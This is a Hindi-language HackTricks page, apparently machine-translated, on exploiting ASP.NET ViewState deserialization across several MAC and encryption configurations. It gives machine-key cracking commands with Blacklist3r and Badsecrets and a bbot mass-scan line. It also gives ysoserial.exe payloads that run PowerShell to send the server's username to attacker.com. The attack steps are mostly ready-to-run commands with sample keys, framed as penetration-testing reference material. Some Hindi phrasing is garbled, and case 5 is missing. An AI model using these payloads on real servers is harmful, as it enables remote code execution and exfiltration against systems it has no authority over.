26 KiB
रहस्यों को न जानते हुए __VIEWSTATE का उपयोग करना
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा एकल NFT संग्रह
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का पालन करें**.
- अपने हैकिंग ट्रिक्स को hacktricks repo और hacktricks-cloud repo में PR जमा करके अपना योगदान दें।
यदि आप हैकिंग करियर में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (अच्छी पोलिश लिखित और बोली जानी चाहिए).
{% embed url="https://www.stmcyber.com/careers" %}
ViewState क्या है
ViewState एक विधि है जिसका एएसपी.नेट फ्रेमवर्क डिफ़ॉल्ट रूप से उपयोग करता है वेब पेज के बीच पेज और नियंत्रण मानों को संरक्षित करने के लिए। जब पेज के लिए HTML रेंडर किया जाता है, पेज की वर्तमान स्थिति और पोस्टबैक के दौरान रखे जाने वाले मानों को base64-कोड किए गए स्ट्रिंग में संकलित किया जाता है और ViewState छिपे हुए फ़ील्ड या फ़ील्ड में आउटपुट किया जाता है।
ViewState सूचना के लिए निम्नलिखित गुणों या गुणों का उपयोग किया जा सकता है:
- Base64
- EnableViewStateMac और ViewStateEncryptionMode विशेषता का उपयोग करके परिभाषित किया जा सकता है
- Base64 + MAC (संदेश प्रमाणिकता कोड) सक्षम
- EnableViewStateMac विशेषता का उपयोग करके परिभाषित किया जा सकता है
- Base64 + एन्क्रिप्टेड
- viewStateEncryptionMode विशेषता का उपयोग करके परिभाषित किया जा सकता है
परीक्षण मामले
परीक्षण मामला: 1 – EnableViewStateMac=false और viewStateEncryptionMode=false
यह भी संभव है कि AspNetEnforceViewStateMac
रजिस्ट्री कुंजी को शून्य पर सेट करके ViewStateMAC को पूरी तरह से अक्षम किया जाए:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
ViewState गुणों की पहचान
आप ViewState को MAC से सुरक्षित होने की पहचान करने के लिए इस पैरामीटर को समेत करने वाला एक अनुरोध को BurpSuite के साथ कैप्चर करके पहचानने का प्रयास कर सकते हैं:
यदि Mac पैरामीटर को सुरक्षित करने के लिए उपयोग नहीं किया जाता है, तो आप YSoSerial.Net का उपयोग करके इसे शोषण कर सकते हैं।
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
परीक्षण मामला 1.5 - परीक्षण मामला 1 की तरह, ViewState कुकी सर्वर द्वारा नहीं भेजी जाती है
डेवलपर्स ViewState को एक HTTP अनुरोध का हिस्सा नहीं बनाने के लिए हटा सकते हैं (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी)। हम मान सकते हैं कि यदि ViewState मौजूद नहीं है, तो उनका अमलन किया गया है ViewState डेसीरियलाइज़ेशन के संबंध में किसी भी संभावित सुरक्षा खतरे से सुरक्षित है। हालांकि, ऐसा नहीं है। यदि हम अनुरोध बॉडी में ViewState पैरामीटर जोड़ते हैं और ysoserial का उपयोग करके बनाए गए हमारे सीरीकलाइज़ किए गए पेलोड को भेजते हैं, तो हम अभी भी कोड निष्पादन प्राप्त कर सकते हैं जैसा कि मामला 1 में दिखाया गया है।
परीक्षण मामला: 2 - .Net < 4.5 और EnableViewStateMac=true & ViewStateEncryptionMode=false
एक विशेष पृष्ठ के लिए ViewState MAC सक्षम करने के लिए हमें निम्नलिखित परिवर्तनों को करने की आवश्यकता होती है:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
हम इसे समग्र अनुप्रयोग के लिए भी कर सकते हैं, इसे निम्नलिखित रूप में web.config फ़ाइल पर सेट करके:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
इस बार पैरामीटर MAC सुरक्षित है, इसलिए हम हमला सफलतापूर्वक करने के लिए पहले उपयोग किए गए कुंजी की आवश्यकता होगी। इस मामले में, BurpSuite हमें बताएगा कि पैरामीटर MAC सुरक्षित है:
आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग करके उपयोग किए गए कुंजी को खोजने का प्रयास कर सकते हैं।
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets एक और उपकरण है जो ज्ञात मशीन कुंजी की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r की तरह यहां कोई Windows आवश्यकता नहीं है। .NET व्यूस्टेट के लिए, एक "python blacklist3r" उपयोग करने का सबसे तेज़ तरीका है।
इसे या तो व्यूस्टेट और जेनरेटर के साथ सीधे प्रदान किया जा सकता है:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
या फिर, यह सीधे लक्षित URL से कनेक्ट कर सकता है और HTML से व्यूस्टेट को निकालने का प्रयास कर सकता है:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
बड़े पैमाने पर खोज करने के लिए, सबडोमेन जाँच के साथ, badsecrets
BBOT मॉड्यूल का उपयोग किया जा सकता है:
bbot -f subdomain-enum -m badsecrets -t evil.corp
यदि आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप YSoSerial.Net: का उपयोग करके हमला कर सकते हैं।
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
जब _VIEWSTATEGENERATOR
पैरामीटर सर्वर द्वारा भेजा नहीं जाता है, तब आपको --generator
पैरामीटर प्रदान करने की आवश्यकता नहीं होती है लेकिन ये पैरामीटर:
--apppath="/" --path="/hello.aspx"
परीक्षण मामला: 3 - .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true
इस मामले में, Burp नहीं पता लगाता है कि क्या पैरामीटर MAC के साथ सुरक्षित है क्योंकि यह मान्यता नहीं देता है। फिर, संभावित रूप से मानक को एन्क्रिप्ट किया गया है और आपको विकल्पतः संक्रमित करने के लिए अपने पेलोड को एन्क्रिप्ट करने के लिए मशीन कुंजी की आवश्यकता होगी।
इस मामले में Blacklist3r मॉड्यूल विकास के अधीन है...
.NET 4.5 से पहले, ASP.NET अप्राकृत ___VIEWSTATE
_पैरामीटर को स्वीकार कर सकता है यदि ViewStateEncryptionMode
को हमेशा सेट किया गया है। ASP.NET केवल अनुरोध में __VIEWSTATEENCRYPTED
पैरामीटर की उपस्थिति की जांच करता है। यदि कोई इस पैरामीटर को हटा देता है और अनएन्क्रिप्टेड पेलोड भेजता है, तो यह फिर भी प्रोसेस होगा।
इसलिए, यदि मशीन कुंजी ज्ञात है (उदाहरण के लिए, एक निर्देशिका विभाजन मुद्दे के माध्यम से), YSoSerial.Net मामले 2 में उपयोग किया जा सकता है, ViewState डिसीरियलाइज़ेशन संरचना के उपयोग से RCE को करने के लिए।
- ViewState डिसीरियलाइज़ेशन संरचना को उपयोग करने के लिए अनुरोध से
__VIEWSTATEENCRYPTED
पैरामीटर को हटा दें, अन्यथा यह एक Viewstate MAC मान्यता त्रुटि लौटाएगा और उत्पादन विफल हो जाएगा जैसा कि चित्र में दिखाया गया है:
परीक्षण मामला: 4 - .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false दोनों विशेषता को false करें
हम नीचे दिए गए पैरामीटर का उपयोग करके ASP.NET फ्रेमवर्क का उपयोग कर सकते हैं जैसा कि नीचे दिखाया गया है।
<httpRuntime targetFramework="4.5" />
वैकल्पिक रूप से, इसे वेब.कॉन्फ़िगफ़ाइल के machineKey
पैरामीटर के अंदर नीचे दिए गए विकल्प को निर्दिष्ट करके किया जा सकता है।
compatibilityMode="Framework45"
जैसा कि पिछले मामले में था, बर्प नहीं पहचानता कि क्या अनुरोध MAC सुरक्षित है क्योंकि मान्यता एन्क्रिप्टेड होती है। इसलिए, एक मान्य पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता होती है।
आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग करके उपयोग हो रही कुंजी को खोजने का प्रयास कर सकते हैं:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
आईआईएसडीआरपाठ और टार्गेटपेजपाठ के लिए अधिक विस्तृत विवरण के लिए यहां देखें
या, Badsecrets के साथ (जेनरेटर मान के साथ):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
एक मान्य मशीन कुंजी की पहचान करने के बाद, अगला कदम है YSoSerial.Net का उपयोग करके एक सीरीकृत पेलोड उत्पन्न करना
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
यदि आपके पास __VIEWSTATEGENERATOR
की मान है, तो आप उस मान के साथ --generator
पैरामीटर का उपयोग करने की कोशिश कर सकते हैं और --path
और --apppath
पैरामीटर को छोड़ सकते हैं।
यदि ViewState डेसीरियलाइज़ेशन कमजोरी सफलतापूर्वक उपयोगिता कर रही है, तो हमलावार संचालित सर्वर को उपयोगकर्ता नाम समेत एक आउट ऑफ बैंड अनुरोध प्राप्त होगा। सफल उपयोग का PoC
परीक्षण मामला 6 - ViewStateUserKeys का उपयोग हो रहा है
ViewStateUserKey गुणक का उपयोग CSRF हमले के खिलाफ सुरक्षा के लिए किया जा सकता है। यदि ऐसी कोई कुंजी एप्लिकेशन में परिभाषित की गई है और हम पहले से चर्चित विधियों का उपयोग करके ViewState पेलोड उत्पन्न करने की कोशिश करते हैं, तो पेलोड एप्लिकेशन द्वारा प्रसंस्कृत नहीं किया जाएगा।
आपको सही ढंग से पेलोड बनाने के लिए एक और पैरामीटर का उपयोग करना होगा:
--viewstateuserkey="randomstringdefinedintheserver"
सफल शोषण का परिणाम
सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net पेलोड सफलतापूर्वक काम करता है तो सर्वर "500 आंतरिक सर्वर त्रुटि" के साथ प्रतिक्रिया देता है जिसमें प्रतिक्रिया सामग्री "यह पृष्ठ के लिए राज्य सूचना अमान्य है और यह क्षतिग्रस्त हो सकती है" होती है और हमें आउट ऑफ बैंड अनुरोध प्राप्त होता है जैसा कि नीचे दिखाया गया है:
वर्तमान उपयोगकर्ता नाम के साथ आउट ऑफ बैंड अनुरोध
संदर्भ
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817\
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
यदि आपको हैकिंग करियर में रुचि है और अहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (अच्छी पोलिश लिखने और बोलने की जानकारी आवश्यक).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की आवश्यकता है? SUBSCRIPTION PLANS की जांच करें!
- खोजें The PEASS Family, हमारा विशेष NFT संग्रह
- प्राप्त करें आधिकारिक PEASS & HackTricks swag
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे ट्विटर पर फ़ॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके hacktricks repo और hacktricks-cloud repo को।